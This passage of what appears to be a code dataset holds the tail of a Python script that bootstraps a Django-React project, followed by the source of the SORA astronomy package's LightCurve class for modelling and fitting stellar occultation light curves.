with open("settings.py", "w") as f:
f.writelines(settings)
print(f"\nStep 7/{n}: Configuring URL patterns")
with open("urls.py", "r") as f:
urls = f.readlines()
for i, line in enumerate(urls):
if "from django.urls" in line:
import_line = i
urls[import_line] = "from django.urls import include, path\n"
for i, line in enumerate(urls):
if "admin/" in line:
admin_line = i
# urls.insert(admin_line + 1, " path('api/', include('backend.urls')),\n")
urls.insert(admin_line + 1, " path('', include('frontend.urls')),\n")
with open("urls.py", "w") as f:
f.writelines(urls)
os.chdir(BASE_DIR)
subprocess.run(
f"copy {RESOURCES_DIR / 'urls.py'} {args.location / 'frontend/urls.py'}",
shell=True
)
subprocess.run(
f"copy {RESOURCES_DIR / 'views.py'} {args.location / 'frontend/views.py'}",
shell=True
)
print(f"\nStep 8/{n}: Configuring React directory structure")
os.chdir(args.location)
os.makedirs("./frontend/templates/frontend", exist_ok=True)
os.makedirs("./frontend/static/frontend/js/components", exist_ok=True)
os.makedirs("./frontend/static/frontend/bundles", exist_ok=True)
os.chdir(BASE_DIR)
subprocess.run(
f"copy {RESOURCES_DIR / 'index.html'} {args.location / 'frontend/templates/frontend/index.html'}",
shell=True
)
subprocess.run(
f"copy {RESOURCES_DIR / 'index.js'} {args.location / 'frontend/static/frontend/js/index.js'}",
shell=True
)
subprocess.run(
f"copy {RESOURCES_DIR / 'index.scss'} {args.location / 'frontend/static/frontend/js/index.scss'}",
shell=True
)
subprocess.run(
f"copy {RESOURCES_DIR / 'App.js'} {args.location / 'frontend/static/frontend/js/components/App.js'}",
shell=True
)
print(f"\nStep 9/{n}: Creating environment variables")
os.chdir(args.location)
envs = [
f"SECRET_KEY={secret_key}\n",
"DEBUG=1\n",
"PYTHON_ENV=development\n",
"\n",
]
with open(".env", "w") as f:
f.writelines(envs)
print(f"\nStep 10/{n}: Creating initial commit")
subprocess.run("git add .", shell=True)
subprocess.run("git commit -m \"Bootstrap Django-React project\"", shell=True)
total_time = time() - t0
if total_time < 60:
str_time = f"{round(total_time, 2)} s"
else:
sec = round((total_time - int(total_time)) * 60, 2)
minute = int(total_time/60)
str_time = f"{minute} min {sec} s"
print(f"\nThe project {args.project_name} has been initialized! ({str_time})")
return 0
if __name__ == "__main__":
main()
|
16,968 | 7531465ebf18c8b3ff1ce7a5fb84c1d459e6d60a | import os
import warnings
import astropy.units as u
import numpy as np
from astropy.time import Time
from sora.config import input_tests
from sora.config.decorators import deprecated_alias
from .utils import calc_fresnel
warnings.simplefilter('always', UserWarning)
class LightCurve:
"""Defines a Light Curve.
Parameters
----------
name : `str`
The name of the LightCurve. Each time an LightCurve object is defined
the name must be different.
tref : `astropy.time.Time`, `str`, `float`
Instant of reference.
Format: `Julian Date`, string in ISO format or Time object.
Required only if LightCurve have input fluxes and given time is
not in Julian Date.
central_bandpass : `int`, `float`, otpional, default=0.7
The center band pass of the detector used in observation. Value in microns.
delta_bandpass : `int`, `float`, optional, default=0.3
The band pass width of the detector used in observation. Value in microns.
exptime : `int`, `float`
The exposure time of the observation, in seconds.
*NOT* required in cases *2*, *3* and *4* below.
*Required* in case *1* below.
**kwargs: `int`, `float`
Object velocity, distance, and star diameter.
Note
----
vel : `int`, `float`
Velocity in km/s.
dist : `int`, `float`
Object distance in AU.
d_star : `float`
Star diameter, in km.
Warning
-------
Input data must be one of the 4 options below:
1) Input data from file with time and flux
`file (str)`: a file with the time and flux. A third column with the error in
flux can also be given.
`usecols (int, tuple, array)`: Which columns to read, with the first being the
time, the seconds the flux and third the flux error (optional).
**Example:**
>>> LightCurve(name, file, exptime) # dflux can also be given
2) Input data when file is not given:
`time`: time must be a list of times, in seconds from tref, or Julian Date, or
a Time object.
`flux`: flux must be a list of fluxes. It must have the same lenght as time.
`dflux`: if file not given, dflux must be a list of fluxes errors. It must
have the same lenght as time. (not required)
**Example:**
>>> LightCurve(name, flux, time, exptime) # dflux can also be given
Cases for when `time` and `flux` are not given.
3) Input for a positive occultation:
`immersion`: The instant of immersion.
`emersion`: The instant of emersion.
`immersion_err`: Immersion time uncertainty, in seconds.
`emersion_err`: Emersion time uncertainty, in seconds.
**Example:**
>>> LightCurve(name, immersion, immersion_err, emersion, emersion_err)
4) Input for a negative occultation:
`initial_time`: The initial time of observation.
`end_time`: The end time of observation.
**Example:**
>>> LightCurve(name, initial_time, end_time)
"""
@deprecated_alias(lambda_0='central_bandpass', delta_lambda='delta_bandpass') # remove this line for v1.0
def __init__(self, name='', **kwargs):
allowed_kwargs = ['emersion', 'emersion_err', 'immersion', 'immersion_err', 'initial_time', 'end_time',
'file', 'time', 'flux', 'exptime', 'central_bandpass', 'delta_bandpass', 'tref', 'dflux',
'skiprows', 'usecols', 'dist', 'vel', 'd_star']
input_tests.check_kwargs(kwargs, allowed_kwargs=allowed_kwargs)
input_done = False
self.dflux = None
self._name = name
self.flux = None
self.time_model = None
if 'exptime' in kwargs:
if kwargs['exptime'] <= 0:
raise ValueError('Exposure time can not be zero or negative')
self.exptime = kwargs['exptime']
if 'vel' in kwargs:
self.set_vel(vel=kwargs['vel'])
if 'dist' in kwargs:
self.set_dist(dist=kwargs['dist'])
if 'd_star' in kwargs:
self.set_star_diam(d_star=kwargs['d_star'])
if 'tref' in kwargs:
self.tref = kwargs['tref']
if 'immersion' in kwargs:
self.immersion = kwargs['immersion']
self.immersion_err = kwargs.get('immersion_err', 0.0)
if self.immersion_err < 0:
warnings.warn("Immersion Error must be positive. Using absolute value.")
self.immersion_err = np.absolute(self.immersion_err)
input_done = True
if 'emersion' in kwargs:
self.emersion = kwargs['emersion']
self.emersion_err = kwargs.get('emersion_err', 0.0)
if self.emersion_err < 0:
warnings.warn("Emersion Error must be positive. Using absolute value.")
self.emersion_err = np.absolute(self.emersion_err)
try:
if self.emersion <= self.immersion:
raise ValueError("emersion time must be greater than immersion time")
except AttributeError:
pass
input_done = True
if 'initial_time' in kwargs and 'end_time' in kwargs:
self.initial_time = kwargs['initial_time']
self.end_time = kwargs['end_time']
if self.end_time <= self.initial_time:
raise ValueError('end_time must be greater than initial_time')
input_done = True
if 'flux' in kwargs or 'file' in kwargs:
self.set_flux(**kwargs)
input_done = True
if not input_done:
raise ValueError('No allowed input conditions satisfied. Please refer to the tutorial.')
self.set_filter(central_bandpass=kwargs.get('central_bandpass', 0.70),
delta_bandpass=kwargs.get('delta_bandpass', 0.30))
self.dt = 0.0
@property
def fresnel_scale(self):
lamb = self.lambda_0*u.micrometer.to('km')
dlamb = self.delta_lambda*u.micrometer.to('km')
dist = self.dist*u.au.to('km')
fresnel_scale_1 = calc_fresnel(dist, lamb-dlamb/2.0)
fresnel_scale_2 = calc_fresnel(dist, lamb+dlamb/2.0)
fresnel_scale = (fresnel_scale_1 + fresnel_scale_2)/2.0
return fresnel_scale
@property
def central_bandpass(self):
return self.lambda_0
@property
def delta_bandpass(self):
return self.delta_lambda
@property
def name(self):
return self._name
@property
def tref(self):
if hasattr(self, '_tref'):
return self._tref
else:
raise AttributeError("'LightCurve' object has no attribute 'tref'")
@tref.setter
def tref(self, value):
if type(value) in [int, float]:
self.tref = Time(value, format='jd')
else:
try:
self._tref = Time(value)
except ValueError:
raise ValueError('{} is not a valid time format accepted by tref'.format(value))
@property
def immersion(self):
if hasattr(self, '_immersion'):
return self._immersion + self.dt*u.s
else:
raise AttributeError('The immersion time was not fitted or instantiated.')
@immersion.setter
def immersion(self, value):
if type(value) in [int, float]:
if value > 2400000:
self.immersion = Time(value, format='jd')
elif hasattr(self, 'tref'):
self.immersion = self.tref + value*u.s
else:
raise ValueError('{} can not be set without a reference time'.format(value))
else:
try:
self._immersion = Time(value)
except ValueError:
raise ValueError('{} is not a valid time format accepted by immersion'.format(value))
@property
def emersion(self):
if hasattr(self, '_emersion'):
return self._emersion + self.dt*u.s
else:
raise AttributeError('The emersion time was not fitted or instanciated.')
@emersion.setter
def emersion(self, value):
if type(value) in [int, float]:
if value > 2400000:
self.emersion = Time(value, format='jd')
elif hasattr(self, 'tref'):
self.emersion = self.tref + value*u.s
else:
raise ValueError('{} can not be set without a reference time'.format(value))
else:
try:
self._emersion = Time(value)
except ValueError:
raise ValueError('{} is not a valid time format accepted by emersion'.format(value))
@property
def initial_time(self):
if hasattr(self, '_initial_time'):
return self._initial_time
else:
raise AttributeError("'LightCurve' object has no attribute 'initial_time'")
@initial_time.setter
def initial_time(self, value):
if type(value) in [int, float]:
if value > 2400000:
self.initial_time = Time(value, format='jd')
elif hasattr(self, 'tref'):
self.initial_time = self.tref + value*u.s
else:
raise ValueError('{} can not be set without a reference time'.format(value))
else:
try:
self._initial_time = Time(value)
except ValueError:
raise ValueError('{} is not a valid time format accepted by initial_time'.format(value))
@property
def end_time(self):
if hasattr(self, '_end_time'):
return self._end_time
else:
raise AttributeError("'LightCurve' object has no attribute 'end_time'")
@end_time.setter
def end_time(self, value):
if type(value) in [int, float]:
if value > 2400000:
self.end_time = Time(value, format='jd')
elif hasattr(self, 'tref'):
self.end_time = self.tref + value*u.s
else:
raise ValueError('{} can not be set without a reference time'.format(value))
else:
try:
self._end_time = Time(value)
except ValueError:
raise ValueError('{} is not a valid time format accepted by end_time'.format(value))
@property
def time_mean(self):
if hasattr(self, '_immersion') and hasattr(self, '_emersion'):
return Time((self.immersion.jd + self.emersion.jd)/2, format='jd')
else:
return Time((self.initial_time.jd + self.end_time.jd)/2, format='jd')
@property
def time(self):
try:
return (self._time - self.tref).sec
except:
raise AttributeError("'LightCurve' object has no attribute 'time'")
def set_flux(self, **kwargs):
"""Sets the flux for the LightCurve.
Parameters
----------
exptime : `int`, `float`, required
The exposure time of the observation, in seconds.
file : `str`
A file with the time and flux in the first and second columns,
respectively. A third column with error in flux can also be given.
time
If file not given, time must be a list of times, in seconds from `tref`,
or `Julian Date`, or a `Time object`.
flux
If file not given, flux must be a list of fluxes. It must have the
same lenght as time.
dflux
If file not given, dflux must be a list of fluxes errors. It must
have the same lenght as time.
tref : `astropy.time.Time`, `str`, `float`
Instant of reference. It can be in `Julian Date`, string in ISO
format or `Time object`.
usecols : `int`, `tuple`, array, optional
Which columns to read, with the first being the time, the seconds
the flux and third the flux error.
**kwargs : `int`, `float`
Object velocity, object distance, star diameter.
Note
----
vel : `int`, `float`
Velocity in km/s.
dist : `int`, `float`:
Object distance in AU.
d_star : `float`
Star diameter, in km.
"""
from .utils import read_lc_file
input_done = False
usecols = None
if 'usecols' in kwargs:
usecols = kwargs['usecols']
skiprows = 0
if 'skiprows' in kwargs:
skiprows = int(kwargs['skiprows'])
if 'file' in kwargs:
try:
lc_data = read_lc_file(kwargs['file'], usecols=usecols, skiprows=skiprows)
if len(lc_data) == 2:
time, self.flux = lc_data
elif len(lc_data) == 3:
time, self.flux, self.dflux = lc_data
except:
pass
if hasattr(self, 'flux'):
self.flux_obs = self.flux
if not hasattr(self, 'flux_obs'):
raise ValueError('Input file must have 2 or 3 columns')
input_done = True
if 'time' in kwargs and 'flux' in kwargs:
if input_done:
raise ValueError('Only one type of input can be given. Please refer to the tutorial.')
self.flux = kwargs['flux']
time = kwargs['time']
if len(self.flux) != len(time):
raise ValueError('time and flux must have the same length')
if 'dflux' in kwargs:
self.dflux = kwargs['dflux']
if len(self.flux) != len(self.dflux):
raise ValueError('dflux must have the same length as flux and time')
input_done = True
if not input_done:
raise ValueError('Input parameters not satisfied')
if 'exptime' not in kwargs:
raise ValueError('exptime not defined')
if kwargs['exptime'] <= 0:
raise ValueError('Exposure time can not be zero or negative')
else:
self.exptime = kwargs['exptime']
if 'vel' in kwargs:
self.set_vel(vel=kwargs['vel'])
if 'dist' in kwargs:
self.set_dist(dist=kwargs['dist'])
if 'd_star' in kwargs:
self.set_star_diam(d_star=kwargs['d_star'])
if 'tref' in kwargs:
self.tref = kwargs['tref']
if 'time' in locals():
if type(time) == Time:
if not hasattr(self, 'tref'):
self.tref = Time(time[0].iso.split(' ')[0] + ' 00:00:00.000')
elif all(time > 2400000):
time = Time(time, format='jd')
if not hasattr(self, 'tref'):
self.tref = Time(time[0].iso.split(' ')[0] + ' 00:00:00.000')
elif not hasattr(self, 'tref'):
raise ValueError('tref must be given')
else:
time = self.tref + time*u.s
order = np.argsort(time)
self._time = time[order]
self.model = np.ones(len(time))
self.flux = self.flux[order]
self.flux_obs = self.flux
if self.dflux is not None:
self.dflux = self.dflux[order]
self.initial_time = np.min(time)
self.end_time = np.max(time)
time_diffs = np.diff(self._time[0:]).tolist()
self.cycle = max(set(time_diffs), key=time_diffs.count).sec
if self.cycle < self.exptime:
warnings.warn('Exposure time ({:0.4f} seconds) higher than Cycle time ({:0.4f} seconds)'.
format(self.exptime, self.cycle))
def set_exptime(self, exptime):
"""Sets the light curve exposure time.
Parameters
----------
exptime : `int`, `float`
Exposure time, in seconds.
"""
exptime = u.Quantity(exptime, unit=u.s)
if not np.isscalar(exptime):
raise TypeError('Exposure time must be an integer, a float or an Astropy Unit object')
if exptime.value <= 0:
raise ValueError('Exposure time can not be zero or negative')
self.exptime = exptime.value
try:
if self.cycle < self.exptime:
warnings.warn('Exposure time ({:0.4f} seconds) higher than Cycle time ({:0.4f} seconds)'.
format(self.exptime, self.cycle))
except:
pass
def set_vel(self, vel):
"""Sets the occultation velocity.
Parameters
----------
vel : `int`, `float`
Velocity in km/s.
"""
vel = u.Quantity(vel, unit=u.km/u.s)
self.vel = np.absolute(vel.value)
def set_dist(self, dist):
"""Sets the object distance.
Parameters
----------
dist : `int`, `float`
Object distance in AU.
"""
dist = u.Quantity(dist, unit=u.AU)
if dist.value < 0:
warnings.warn("distance cannot be negative. Using absolute value.")
self.dist = np.absolute(dist.value)
def set_star_diam(self, d_star):
"""Sets the star diameter.
Parameters
----------
d_star : `float`
Star diameter, in km.
"""
d_star = u.Quantity(d_star, unit=u.km)
if d_star.value < 0:
warnings.warn("star diameter cannot be negative. Using absolute value.")
self.d_star = np.absolute(d_star.value)
@deprecated_alias(lambda_0='central_bandpass', delta_lambda='delta_bandpass') # remove this line for v1.0
def set_filter(self, central_bandpass, delta_bandpass):
"""Sets the filter bandwidth in microns.
Parameters
----------
central_bandpass : `float`
Center band in microns.
delta_bandpass : `float`
Bandwidth in microns.
"""
central_bandpass = u.Quantity(central_bandpass, unit=u.micrometer)
if central_bandpass.value <= 0:
raise ValueError("central bandpass cannot be negative.")
self.lambda_0 = central_bandpass.value
delta_bandpass = u.Quantity(delta_bandpass, unit=u.micrometer)
if delta_bandpass <= 0:
raise ValueError("delta bandpass cannot be negative")
self.delta_lambda = delta_bandpass.value
if (central_bandpass - delta_bandpass).value <= 0:
raise ValueError("The given central and delta bandpass give a range ({}, {}) microns. Bandpass cannot be negative. "
"Please give appropriate values".format(*(central_bandpass +
np.array([-1, 1])*delta_bandpass).value))
def calc_magnitude_drop(self, mag_star, mag_obj):
"""Determines the magnitude drop of the occultation.
Parameters
----------
mag_star : `int`, `float`
Star magnitude.
mag_obj `int`, `float`
Object apparent magnitude to the date.
Returns
-------
mag_drop : `float`
Magnitude drop for the given magnitudes.
bottom_flux : `float`
Normalized bottom flux for the given magnitudes.
"""
from .utils import calc_magnitude_drop
mag_drop, bottom_flux = calc_magnitude_drop(mag_star, mag_obj)
self.mag_drop = mag_drop
self.bottom_flux = bottom_flux
def normalize(self, poly_deg=None, mask=None, flux_min=0.0, flux_max=1.0, plot=False):
"""Returns the fresnel scale.
Parameters
----------
poly_deg : `int`
Degree of the polynomial to be fitted.
mask : `bool` array
Which values to be fitted.
flux_min : `int`, `float`
Event flux to be set as 0.
flux_max : `int`, `float`
Baseline flux to be set as 1.
plot : `bool`
If True plot the steps for visual aid.
"""
from .utils import fit_pol
import matplotlib.pyplot as plt
# Create a mask where the polynomial fit will be done
if not all(self.flux):
raise ValueError('Normalization is only possible when a LightCurve is instantiated with time and flux.')
self.reset_flux()
lc_flux = (self.flux - flux_min)/(flux_max-flux_min)
if mask is None:
preliminar_occ = self.occ_detect(maximum_duration=((self.end_time - self.initial_time).value*u.d.to('s'))/3)
tmax = preliminar_occ['emersion_time']+1.00*preliminar_occ['occultation_duration']
tmin = preliminar_occ['immersion_time']-1.00*preliminar_occ['occultation_duration']
chord = preliminar_occ['occultation_duration']
mask = np.invert((self.time > tmin-(chord/2)) & (self.time < tmax+(chord/2)))
norm_time = (self.time - self.time.min())/(self.time.max()-self.time.min())
if poly_deg is not None:
n = poly_deg
p, err = fit_pol(norm_time[mask], lc_flux[mask], n)
flux_poly_model = np.zeros(len(norm_time))
for ii in np.arange(n+1):
flux_poly_model = flux_poly_model + p[ii]*(norm_time**(n-ii))
if plot:
plt.plot(norm_time[mask], lc_flux[mask], 'k.-')
plt.plot(norm_time[mask], flux_poly_model[mask], 'r-')
plt.title('Polynomial degree = {}'.format(n), fontsize=15)
plt.show()
else:
n = 0
p, err = fit_pol(norm_time[mask], lc_flux[mask], n)
flux_poly_model = np.zeros(len(norm_time))
for ii in np.arange(n+1):
flux_poly_model += p[ii]*(norm_time**(n-ii))
if plot:
plt.plot(norm_time[mask], lc_flux[mask], 'k.-')
plt.plot(norm_time[mask], flux_poly_model[mask], 'r-')
plt.title('Polynomial degree = {}'.format(n), fontsize=15)
plt.show()
for nn in np.arange(1, 10):
p, err = fit_pol(norm_time[mask], lc_flux[mask], nn)
flux_poly_model_new = np.zeros(len(norm_time))
for ii in np.arange(nn+1):
flux_poly_model_new += p[ii]*(norm_time**(nn-ii))
F = np.var(flux_poly_model[mask]-lc_flux[mask])/np.var(flux_poly_model_new[mask]-lc_flux[mask])
if F > 1.05:
flux_poly_model = flux_poly_model_new.copy()
n = nn
if plot:
plt.plot(norm_time[mask], lc_flux[mask], 'k.-')
plt.plot(norm_time[mask], flux_poly_model[mask], 'r-')
plt.title('Polynomial degree = {}'.format(nn), fontsize=15)
plt.show()
else:
print('Normalization using a {} degree polynomial'.format(n))
print('There is no improvement with a {} degree polynomial'.format(n+1))
break
self.flux = lc_flux/flux_poly_model
self.normalizer_flux = flux_poly_model
self.normalizer_mask = mask
def reset_flux(self):
""" Resets flux for original values
"""
try:
self.flux = self.flux_obs
except:
raise ValueError('Reset is only possible when a LightCurve is instantiated with time and flux.')
return
def occ_model(self, immersion_time, emersion_time, opacity, mask, npt_star=12,
time_resolution_factor=10, flux_min=0, flux_max=1):
"""Returns the modelled light curve.
The modelled light curve takes into account the fresnel diffraction, the
star diameter and the instrumental response.
Parameters
----------
immersion_time : `int`, `float`
Immersion time, in seconds.
emersion_time : `int`, `float`
Emersion time, in seconds.
opacity : `int`, `float`
Opacity. Opaque = 1.0, transparent = 0.0,
mask : `bool` array
Mask with True values to be computed.
npt_star : `int`, default=12
Number of subdivisions for computing the star size effects.
time_resolution_factor : `int`, `float`, default: 10*fresnel scale
Steps for fresnel scale used for modelling the light curve.
flux_min : `int`, `float`, default=0
Bottom flux (only object).
flux_max : `int`, `float`, default=1
Base flux (object plus star).
"""
from .utils import bar_fresnel
# Computing the fresnel scale
lamb = self.lambda_0*u.micrometer.to('km')
dlamb = self.delta_lambda*u.micrometer.to('km')
dist = self.dist*u.au.to('km')
vel = np.absolute(self.vel)
time_obs = self.time[mask]
fresnel_scale_1 = calc_fresnel(dist, lamb-dlamb/2.0)
fresnel_scale_2 = calc_fresnel(dist, lamb+dlamb/2.0)
fresnel_scale = (fresnel_scale_1 + fresnel_scale_2)/2.0
time_resolution = (np.min([fresnel_scale/vel, self.exptime]))/time_resolution_factor
# Creating a high resolution curve to compute fresnel diffraction, stellar diameter and instrumental integration
time_model = np.arange(time_obs.min()-5*self.exptime, time_obs.max()+5*self.exptime, time_resolution)
# Changing X: time (s) to distances in the sky plane (km), considering the tangential velocity (vel in km/s)
x = time_model*vel
x01 = immersion_time*vel
x02 = emersion_time*vel
# Computing fresnel diffraction for the case where the star size is negligenciable
flux_fresnel_1 = bar_fresnel(x, x01, x02, fresnel_scale_1, opacity)
flux_fresnel_2 = bar_fresnel(x, x01, x02, fresnel_scale_2, opacity)
flux_fresnel = (flux_fresnel_1 + flux_fresnel_2)/2.
flux_star = flux_fresnel.copy()
if self.d_star > 0:
# Computing fresnel diffraction for the case where the star size is not negligenciable
resolucao = (self.d_star/2)/npt_star
flux_star_1 = np.zeros(len(time_model))
flux_star_2 = np.zeros(len(time_model))
# Computing stellar diameter only near the immersion or emersion times
star_diam = (np.absolute(x - x01) < 3*self.d_star) + (np.absolute(x - x02) < 3*self.d_star)
p = np.arange(-npt_star, npt_star)*resolucao
coeff = np.sqrt(np.absolute((self.d_star/2)**2 - p**2))
for ii in np.where(star_diam == True)[0]:
xx = x[ii] + p
flux1 = bar_fresnel(xx, x01, x02, fresnel_scale_1, opacity)
flux2 = bar_fresnel(xx, x01, x02, fresnel_scale_2, opacity)
flux_star_1[ii] = np.sum(coeff*flux1)/coeff.sum()
flux_star_2[ii] = np.sum(coeff*flux2)/coeff.sum()
flux_star[ii] = (flux_star_1[ii] + flux_star_2[ii])/2.
flux_inst = np.zeros(len(time_obs))
for i in range(len(time_obs)):
event_model = (time_model > time_obs[i]-self.exptime/2.) & (time_model < time_obs[i]+self.exptime/2.)
flux_inst[i] = (flux_star[event_model]).mean()
self.model[mask] = flux_inst*(flux_max - flux_min) + flux_min
self.time_model = time_model
self.model_star = flux_star*(flux_max - flux_min) + flux_min
self.model_fresnel = flux_fresnel*(flux_max - flux_min) + flux_min
ev_model = (time_model > immersion_time) & (time_model < emersion_time)
flux_box = np.ones(len(time_model))
flux_box[ev_model] = (1-opacity)**2
flux_box = flux_box*(flux_max - flux_min) + flux_min
self.model_geometric = flux_box
self.baseflux = flux_max
self.bottomflux = flux_min
def occ_lcfit(self, **kwargs):
"""Monte Carlo chi square fit for occultations lightcurve.
Parameters
----------
tmin : `int`, `float`
Minimum time to consider in the fit procedure, in seconds.
tmax : `int`, `float`
Maximum time to consider in the fit procedure, in seconds.
flux_min : `int`, `float`, default=0
Bottom flux (only object).
flux_max :`int`, `float`, default=1
Base flux (object plus star).
immersion_time : `int`, `float`
Initial guess for immersion time, in seconds.
emersion_time : `int`, `float`
Initial guess for emersion time, in seconds.
opacity : `int`, `float`, default=1
Initial guess for opacity. Opaque = 1, Transparent = 0.
delta_t : `int`, `float`
Interval to fit immersion or emersion time.
dopacity : `int`, `float`, default=0
Interval to fit opacity.
sigma : `int`, `float`, `array`, 'auto'
Fluxes errors. If None it will use the `self.dflux`. If 'auto' it
will calculate using the region outside the event.
loop : `int`, default=10000
Number of tests to be done.
sigma_result : `int`, `float`
Sigma value to be considered as result.
Returns
-------
chi2 : `sora.extra.ChiSquare`
ChiSquare object.
"""
from sora.config.visuals import progressbar
from sora.extra import ChiSquare
allowed_kwargs = ['tmin', 'tmax', 'flux_min', 'flux_max', 'immersion_time', 'emersion_time', 'opacity',
'delta_t', 'dopacity', 'sigma', 'loop', 'sigma_result']
input_tests.check_kwargs(kwargs, allowed_kwargs=allowed_kwargs)
if not hasattr(self, 'flux'):
raise ValueError('Fit curve is only possible when a LightCurve is instantiated with time and flux.')
preliminar_occ = self.occ_detect()
delta_t = 2*self.cycle
loop = kwargs.get('loop', 10000)
tmax = self.time.max()
tmin = self.time.min()
immersion_time = tmin - self.exptime
do_immersion = False
emersion_time = tmax + self.exptime
do_emersion = False
opacity = kwargs.get('opacity', 1.0)
delta_opacity = kwargs.get('dopacity', 0.0)
do_opacity = 'dopacity' in kwargs
if ('immersion_time' not in kwargs) and ('emersion_time' not in kwargs):
immersion_time = preliminar_occ['immersion_time']
do_immersion = True
emersion_time = preliminar_occ['emersion_time']
do_emersion = True
delta_t = 5*preliminar_occ['time_err']
tmax = emersion_time+2*preliminar_occ['occultation_duration']
tmin = immersion_time-2*preliminar_occ['occultation_duration']
if 2*preliminar_occ['occultation_duration'] < 10*self.cycle:
tmax = emersion_time + 10*self.cycle
tmin = immersion_time - 10*self.cycle
tmax = kwargs.get('tmax', tmax)
tmin = kwargs.get('tmin', tmin)
delta_t = kwargs.get('delta_t', delta_t)
if 'immersion_time' in kwargs:
immersion_time = kwargs['immersion_time']
do_immersion = True
t_i = immersion_time + delta_t*(2*np.random.random(loop) - 1)
if 'emersion_time' in kwargs:
emersion_time = kwargs['emersion_time']
do_emersion = True
t_e = emersion_time + delta_t*(2*np.random.random(loop) - 1)
mask = (self.time >= tmin) & (self.time <= tmax)
if 'sigma' not in kwargs:
if self.dflux is not None:
sigma = self.dflux
else:
sigma = 'auto'
else:
if type(kwargs['sigma']) in [float, int]:
sigma = np.repeat(kwargs['sigma'], len(self.flux))
elif kwargs['sigma'] is None:
sigma = self.dflux
else:
sigma = kwargs['sigma']
if type(sigma) is str and sigma == 'auto':
mask_sigma = (((self.time >= tmin) & (self.time < immersion_time - self.exptime)) +
((self.time > emersion_time + self.exptime) & (self.time <= tmax)))
sigma = np.repeat(self.flux[mask_sigma].std(ddof=1), len(self.flux))
opas = opacity + delta_opacity*(2*np.random.random(loop) - 1)
opas[opas > 1.], opas[opas < 0.] = 1.0, 0.0
flux_min = kwargs.get('flux_min', 1 - preliminar_occ['depth'])
flux_max = kwargs.get('flux_max', preliminar_occ['baseline'])
sigma_result = kwargs.get('sigma_result', 1)
tflag = np.zeros(loop)
tflag[t_i > t_e] = t_i[t_i > t_e]
t_i[t_i > t_e] = t_e[t_i > t_e]
t_e[t_i > t_e] = tflag[t_i > t_e]
chi2 = 999999*np.ones(loop)
for i in progressbar(range(loop), 'LightCurve fit:'):
model_test = self.__occ_model(t_i[i], t_e[i], opas[i], mask, flux_min=flux_min, flux_max=flux_max)
chi2[i] = np.sum(((self.flux[mask] - model_test)**2)/(sigma[mask]**2))
kkwargs = {}
if do_immersion:
kkwargs['immersion'] = t_i
if do_emersion:
kkwargs['emersion'] = t_e
if do_opacity:
kkwargs['opacity'] = opas
chisquare = ChiSquare(chi2, len(self.flux[mask]), **kkwargs)
result_sigma = chisquare.get_nsigma(sigma=sigma_result)
if 'immersion' in result_sigma:
self._immersion = self.tref + result_sigma['immersion'][0]*u.s
self.immersion_err = result_sigma['immersion'][1]
immersion_time = result_sigma['immersion'][0]
else:
try:
immersion_time = (self._immersion.jd - self.tref.jd)*u.d.to('s')
except:
pass
if 'emersion' in result_sigma:
self._emersion = self.tref + result_sigma['emersion'][0]*u.s
self.emersion_err = result_sigma['emersion'][1]
emersion_time = result_sigma['emersion'][0]
else:
try:
emersion_time = (self._emersion.jd - self.tref.jd)*u.d.to('s')
except:
pass
if 'opacity' in result_sigma:
opacity = result_sigma['opacity'][0]
# Run occ_model() to save best parameters in the Object.
self.occ_model(immersion_time, emersion_time, opacity, np.repeat(True, len(self.flux)),
flux_min=flux_min, flux_max=flux_max)
self.lc_sigma = sigma
self.chisquare = chisquare
self.opacity = opacity
return chisquare
def plot_lc(self, ax=None):
""" Plots the light curve
"""
import matplotlib.pyplot as plt
if not any(self.flux):
raise ValueError('Plotting the light curve is only possible when the '
'Object LightCurve is instantiated with time and flux')
ax = ax or plt.gca()
ax.plot(self.time, self.flux, 'k.-', label='Obs.', zorder=0)
if any(self.model):
ax.plot(self.time, self.model, 'r-', label='Model', zorder=2)
ax.scatter(self.time, self.model, s=50, facecolors='none', edgecolors='r', zorder=3)
ax.set_xlabel('Time [seconds]', fontsize=20)
ax.set_ylabel('Relative Flux', fontsize=20)
ax.legend()
def plot_model(self, ax=None):
""" Plots the modelled light curve
"""
import matplotlib.pyplot as plt
if hasattr(self, 'model_geometric') == False:
raise ValueError('Plotting the model light curve is only possible after the model '
'[LightCurve.occ_model()] or the fit [LightCurve.occ_lcfit()]')
ax = ax or plt.gca()
ax.plot(self.time_model, self.model_geometric, 'c-', label='Geometric', zorder=1)
ax.plot(self.time_model, self.model_fresnel, 'b-', label='Fresnel', zorder=1)
ax.plot(self.time_model, self.model_star, 'g-', label='Star diam.', zorder=1)
ax.set_xlabel('Time [seconds]', fontsize=20)
ax.set_ylabel('Relative Flux', fontsize=20)
ax.legend()
def to_log(self, namefile=None):
"""Saves the light curve log to a file.
Parameters
----------
namefile : `str`
Filename to save the log.
"""
if namefile is None:
namefile = self.name.replace(' ', '_')+'.log'
f = open(namefile, 'w')
f.write(self.__str__())
f.close()
def to_file(self, namefile=None):
"""Saves the light curve to a file.
Parameters
----------
namefile : `str`
Filename to save the data.
"""
# Observational data
if namefile is None:
folder = ''
file = self.name.replace(' ', '_')+'.dat'
else:
folder = os.path.dirname(namefile)
file = os.path.basename(namefile)
data = np.array([(self.time*u.s + self.tref).jd, self.time, self.flux, self.model, self.flux-self.model])
colunm_names = ['Time JD', 'Time relative to {} UTC in seconds'.format(self.tref.iso),
'Observational Flux', 'Modelled Flux', 'Residual O-C']
np.savetxt(os.path.join(folder, file), data.T, fmt='%11.8f')
f = open(os.path.join(folder, file) + '.label', 'w')
for i, name in enumerate(colunm_names):
f.write('Column {}: {}\n'.format(i+1, name))
f.close()
# Complete Model
if hasattr(self, 'model_geometric'):
data_model = np.array([(self.time_model*u.s + self.tref).jd, self.time_model, self.model_geometric,
self.model_fresnel, self.model_star])
colunm_names_model = ['Model time JD', 'Model time relative to {} UTC in seconds'.format(self.tref.iso),
'Geometric Model', 'Model with Fresnel diffraction', 'Model with star diameter']
np.savetxt(os.path.join(folder, 'model_'+file), data_model.T, fmt='%11.8f')
f = open(os.path.join(folder, 'model_'+file)+'.label', 'w')
for i, name in enumerate(colunm_names_model):
f.write('Column {}: {}\n'.format(i+1, name))
f.close()
def occ_detect(self, maximum_duration=None, dur_step=None, snr_limit=None,
n_detections=None, plot=False):
"""Detects automatically the occultation event in the light curve.
Detects a 'square well' shaped transit. All parameters are optional.
Parameters
----------
maximum_duration : `float`, default: light curve time span
Maximum duration of the occultation event.
dur_step : `float`, default: 1/2 of sampling rate
Step size to sweep occultation duration event.
snr_limit : `float`, default=None
Minimum occultation SNR.
n_detections : `int`, default=1
